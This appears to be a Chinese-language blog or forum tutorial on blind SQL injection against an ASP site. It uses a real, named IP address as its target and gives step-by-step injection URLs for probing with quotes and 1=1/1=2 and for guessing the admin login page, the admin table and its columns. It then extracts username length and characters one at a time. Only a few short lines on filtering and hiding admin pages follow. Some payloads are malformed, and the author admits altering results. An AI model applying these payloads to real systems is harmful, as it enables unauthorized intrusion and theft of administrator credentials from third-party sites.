的建议。由于现在好多网站安上内容过滤的防火墙,然后编程人员稍加注意,另外管理员负责一点的话,我们是很难用这些漏洞的,还是那句话,只要防的时候你多动一下手的话, 可能也没有那么多的耐心在那你搞你了,唉,偏偏你就。。。。。。。。。

简单地说说注入,就是攻击者在IE中提交一些代码,而这些代码可能在加入查询时作为程序的一些语言的命令,就是加入后造成现在程序运行的与你原来的运行过程相背离,从而进行攻击。我这里今天讲的是SQL,所以你也得有一定的SQL语言的基础。另外就是要用到返回的错误的不同,而进行判断,所以你得把你的IE设定一下,工具--->Internet选项-->高级-->显示友好 HTTP错误信息前面的勾去掉。这样就会返回错误的提示了。

首先,可能大家也知,就是试试单引号’了。到202.114.71.194/的首页看一下吧,任意打开一个页面看看,我打开的是202.114.71.194/show.asp?ID=763' 返回的如下:

----------------------------------------------------------------------------------------

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the

character string ''.

/show.asp,行47

---------------------------------------------------------------------------------------

也许有人会说,你运气这样好,这个网站就能注入呀,呵呵,我是讲注入嘛,其实早就找到它有这个漏洞了的,今天为了给大家讲嘛就用它了-----------编程人员的一大失误

如果你搞另外的网站返回的是:

----------------------------------------------------------------------------------------

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'ID=56'' 中。

/showdetail.asp,行8

----------------------------------------------------------------------------------------

这就是ACCESS的数据库了。

同时这一步中我们一般还要试试下面两个:

202.114.71.194/show.asp?ID=763%20and%201=1

202.114.71.194/show.asp?ID=763%20and%201=2

这第句显然成立的,返回的是202.114.71.194/show.asp?ID=763一样的,而第二句当然不成立返回是没有这页面。(这里的%20要是菜鸟不知的话,我说说,就是空格嘛)

第二步,在第一步中我们知道了它是用的ASP+SQL的,我们当然就是要找找它的管理员的用户名与密码了,要找这,当然要找到他是把这用户名与密码放在什么表名中的。那如何知道表名呢,主要是看源文件,还有就是猜了,大多是有规则的。同时还要找找他的管理入口哟,有一切可能的手段去找吧

可以猜一下如longin.asp,admin.asp,ad_login.asp,等,我猜到这个网站的入口是:

202.114.71.194/login.asp  其实眼快的话,也可看看它们网站的主页上不是有个管理入口吗?

还不用你去猜了-------管理员的一大失误

在这一次中,我们还要找到他的管理员表放在什么表中,试一下

202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20*%20from%20login)

在这你可以试一下把login换成user ,admin,等等猜一下,要是返回与这个页面是一样的话,那你就猜对了,

这个页面是202.114.71.194/show.asp?ID=763

第三步嘛,有了表名,当然就是猜表里的列了,一般这里是有3列吧,ID号,用户名,密码那就由下面的试了

202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login)

202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20username%20from%20login)

202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20password%20from%20login)

经过N次的提交,终于找到了(做 也不容易呀,干苦力活)

我试出里边的用户列为user ,密码列为 password.

第四步嘛,来猜一下这个表中的有哪些ID号是存在的了,语句是

202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login%20where%20id=1)   在这里你可以把这个ID=1换成ID=2,3,4,5.......试了

第五步,来猜用户名的长度了,

202.114.71.194/show.asp?ID=763and%20exists%20(select%20id%20from%20login%20where

%20len(user)=1%20and%20id=1)

这里要试的是len(username)=1 ,2,3,4......试到返回正确为止,这步较容易,最多试个10次左右吧我这次试出它的长度为7(当然我试的是ID=1的那个用户了)

第六步,来猜测它里边的用户名的各个组成字母了,呵,要不是字母,而是汉字可就惨了202.114.71.194/show.asp?ID=763%20exists%20

(select%20id%20from%20login%20where%20asc(mid(user,1,1))>110%20and%20id=1)

有时还可能用下边的来试

202.114.71.194/show.asp?ID=763%20exists%20

(select%20id%20from%20login%20where%20left(user,1)=a)

这里主要就是这样的试left(user,1)=a,b,c,d,........... 了

在这里,工作量可大着呢,我试了几个,就没有试了,好像这里能用一个程序实现的,只是我现在想不起在哪儿见过了,要是你在这里有更好的办法试的话,也请给我说说,教教我嘛,相互学习(呵呵,要是谁想要我这徒弟,我真是愿意)

最后一步,把USER换为password,把密码也搞出来了,,但我没有试出,还是工作量大,所以此文也就是简单介绍一下注入。

下面我就简单说一下,对此类问题一般如何防范了。

1、编程时把单引号等特殊符号过滤掉,同时可能的话,加上限定用户通过IE输入长度的控制这个可以由编程人员或都防火墙实现

2、管理员的事了,把管理入口改过没有规则的名字,加以隐藏掉,让攻击者找不到注入的地方特别是不要明目张胆的把管理入口放在主页,这不是明明白白的给攻击者说,来攻我这里吗 ?

3、可能的话,把管理入口那个页面删掉,这样虽然管理时是有点不方便,要用的时候再把把它传上去。这样就实现了没有入口。

好了,说了这么多,也应该算完了,要是文章中有什么不对的地方,希望你能够指出。

我的邮箱是anmeihong@sina.com 另外,就是本次文章中由于防读者就用去攻击这个网站,在其中

我有时把试出的正确结果换了一下的,还希望你不要搞破坏

什么是Cookies和session欺骗?(实例讲解)

python使用xmlrpc实例讲解

制作外企应聘英文简历RESUME实例讲解

雅思听力做题3大原则实例讲解

雅思听力同义词替换4大类型实例讲解

下载实例讲解如何对目标进行ARP欺骗(精选8篇)
实例讲解如何对目标进行ARP欺骗.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
热门文章
    猜你喜欢
    点击下载本文文档